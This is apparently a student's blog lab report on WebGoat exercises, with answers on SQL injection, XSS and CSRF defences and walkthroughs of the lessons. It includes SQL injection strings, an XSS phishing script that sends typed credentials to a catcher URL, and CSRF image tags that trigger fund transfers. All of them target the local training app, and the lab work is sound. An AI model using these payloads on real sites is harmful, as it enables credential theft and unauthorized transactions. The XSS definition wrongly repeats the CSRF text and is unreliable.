Web安全基础实践

Web安全基础实践

标签(空格分隔): <<网络对抗>>


目录

基础问题回答

  1. SQL注入攻击原理,如何防御?
  • 原理:SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,使非法数据侵入系统。
    - 防御:
    1.对用户的输入进行校验,可以通过正则表达式,双"-"进行转换等。
    2.不要使用动态拼装sql,可以使用参数化的sql或者直接使用存储过程进行数据查询存取。
    3.不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接。
    4.不要把机密信息直接存放,加密或者hash掉密码和敏感的信息。
    5.应用的异常信息应该给出尽可能少的提示。
    6.采取辅助软件或网站平台来检测sql注入。
  1. XSS攻击的原理,如何防御?
  • 原理:CSRF跨站请求伪造,也被称为“oneclickattack”或者sess ionriding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利 用,通过伪装来自受信任用户的请求来利用受信任的网站。是一 种依赖web浏览器的、被混淆过的代理人攻击。
    - 防御
    1. 特征匹配方式,在所有提交的信息中都进行匹配检查,一般会 对“javascript”这个关键字进行检索,一旦发现提交信息中包 含“javascript”,就认定为XSS攻击。
    2. 对所有用户提交内容进行可靠的输入验证,包括对URL、查询关键字、HTTP头、POST数据等,仅接受指定长度范围内、采用适当格式、采用所预期的字符的内容提交,对其他的一律过滤。
    3. 实现Session标记(session tokens)、CAPTCHA系统或者HTTP引用头检查,以防功能被第三方网站所执行。
  1. CSRF攻击原理,如何防御?
    - 原理:CSRF跨站请求伪造,也被称为“oneclickattack”或者sessionriding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用,通过伪装来自受信任用户的请求来利用受信任的网站。是一种依赖web浏览器的、被混淆过的代理人攻击。
    - 防御
    1. 在form中包含秘密信息、用户指定的代号作为cookie之外的验证。
    2. “双提交”cookie。某个授权的cookie在form post之前正被JavaScript代码读取,那么限制跨域规则将被应用。服务器需要在Post请求体或者URL中包含授权cookie的请求,那么这个请求必须来自于受信任的域。
    3. 用户在浏览其它站点前登出站点或者在浏览器会话结束后清理浏览器的cookie。

WebGoat

  • ** WebGoat是OWASP组织研制出的用于进行web漏洞实验的应用平台,用来说明web应用中存在的安全漏洞。WebGoat运行在带有java虚拟机的平台之上,当前提供的训练课程有30多个,其中包括:跨站点脚本攻击(XSS)、访问控制、线程安全、操作隐藏字段、操纵参数、弱会话cookie、SQL盲注、数字型SQL注入、字符串型SQL注入、web服务、Open Authentication失效、危险的HTML注释等等。**
  • 去找了好多资源下载,都是被墙掉了。
  • 虽然webgoat已经有V8了 但是在网上大家都说7.1最稳定,所以我们使用的是webgoat v7.1

webgoat v7.1 百度云下载

  • 提取码: xkxh

  • 开启webgoat 下载好webgoat的jar文件后,执行java -jar webgoat-container-7.1-exec.jar


- 打开浏览器输入localhost:8080/WebGoat注意W G大写。

SQL字符串注入(String SQL Injection)

  • 造成这个问题的原因是编码问题,可以让程序员背锅的,毕竟可以说是他们编写的代码质量不过关导致的。
    - SQL注入攻击,入手点在web 但是从根本上来说是SQL的问题。

    - 尝试注入一个SQL字符串,以显示所有信用卡号码。 尝试使用'Smith'的用户名。
    

  • 图片中可以看到提供的源码SELECT * FROM user_data WHERE last_name = 'Smith'
    收索数据库user_data只要出现Smith就显示出来。
  • 输入'or 1='1,语句就变成SELECT * FROM user_data WHERE last_name = ''or 1='1',这句的意思就是查询lastname='' OR(或者)1='1' ,这里的 1='1' 永远为真,所以不管姓啥都是对的,都能被显示出来,这是最简单的SQL注入攻击。还有使用注释符去注释掉密码,从而登入数据库的等等。主要防御方式是字符串过滤。下图是结果。

日志欺骗(Log Spoofing)

  • 利用日志的格式,使用换行等字符,欺骗管理员
  • url参数带有%0d%0a , 在servlet里得到包含这个字段的string时, %0d%0a 会被转义为回车。还是代码编码问题。

数字型SQL注入(Numeric SQL Injection)

  • 题目要求:下面的表格允许用户查看天气数据。 尝试注入一个导致所有天气数据显示的SQL字符串。
    - 原理就是构造永真式
  • 成功

命令注入(Command Injection)


- 题目的要求是:尝试给操作系统注入命令行,要求能够在目标主机上执行系统命令
- 通过火狐浏览器的inspect Element对源代码进行修改
- 成功截图如下。

Stage 1:String SQL Injection

  • 要求,使用字符串注入在没有正确密码的情况下登录账号boss
  • 第一反应测试一下 有没有过滤字符。
  • 查看了一下源码发现了小秘密
  • 可以入手了,使用'or 1=1 --'隐去密码试试可以登录么。
  • 失败了,会想起在看代码时 发现源码对密码长度进行了限制
    - 修改一下试试
  • 成功了 截图如下

Phishing with XSS

  • 这是跨站脚本钓鱼攻击,要求在搜索框中输入XSS攻击代码,利用XSS可以在已存在的页面中进一步添加元素的特点
    </form>
  <script>
function hack(){ 
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " +                         document.phish.pass.value);
} 
  </script>
<form name="phish">
<br>
<br>
<HR>
  <H2>This feature requires account login:</H2>
<br>
  <br>Enter Username:<br>
  <input type="text" name="user">
  <br>Enter Password:<br>
  <input type="password" name = "pass">
<br>
  <input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
  • 结果如下

Stored XSS Attacks

  • 要求创建非法的消息内容,可以导致其他用户访问时载入非预期的页面或内容
  • 在Message中构造语句<script>alert("5329 attack succeed!");</script>,提交后,可以发现刚刚创建的帖子20155229

Block Reflected XSS

  1. 登陆larry用户,修改用户资料,把Street修改为<script>alert('xss')</script>
  2. Update更新数据,显示下图。说明这个XSS是可行的。

    3 .然后退出Larry用户,登陆Moe查看Larry的信息,验证攻击是否成功~
  3. SUCCESS!!

Reflected XSS Attacks(反射型XSS)


Cross Site Request Forgery(CSRF)

  • 攻击者盗用了你的身份,以你的名义发送恶意请求,对服务器来说这个请求是完全合法的,但是却完成了攻击者所期望的一个操作,比如以你的名义发送邮件、发消息,盗取你的账号,添加系统管理员,甚至于购买商品、虚拟货币转账等
  • 写一个URL诱使其他用户点击,从而触发CSRF攻击,我们可以以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件
    • 在massage 框里输入
<img src="http://localhost:8080/WebGoat/attack?
Screen=288&menu=900&transferFunds=5329"/>
  • 像我这种手贱的人,一点图片 钱就没了。钱没了

CSRF Prompt By-Pass

  • 分析
    - 这个攻击需要两部,一次输入转账的数目,第二次确认,没有验证码的时代好危险。。。。
<img src="?transferFunds=4000" />

<img src="?transferFunds=CONFIRM" />

CSRF Token By-Pass

  • 题目要求
    - 需要获取有效的请求令牌。 提供转账资金表单的页面包含一个有效的请求令牌。
    - 转移资金页面的URL是本课程的“屏幕”和“菜单”查询参数以及额外的参数“transferFunds = main”的“攻击”servlet。 加载此页面,读取令牌,并在伪造的请求中附加令牌以传输数据。
  • 额 没做出来。

实验体会

  • 本次实验中在SQL注入的花费的时间最多,看源码看的眼睛疼。在看代码的同时巩固了上学期的Web知识。也深深领会到了代码质量的重要性。对XSS和CRSF也有了一定的认识
posted @ 2018-05-16 08:16  20155329胡佩伦  阅读(654)  评论(0编辑  收藏  举报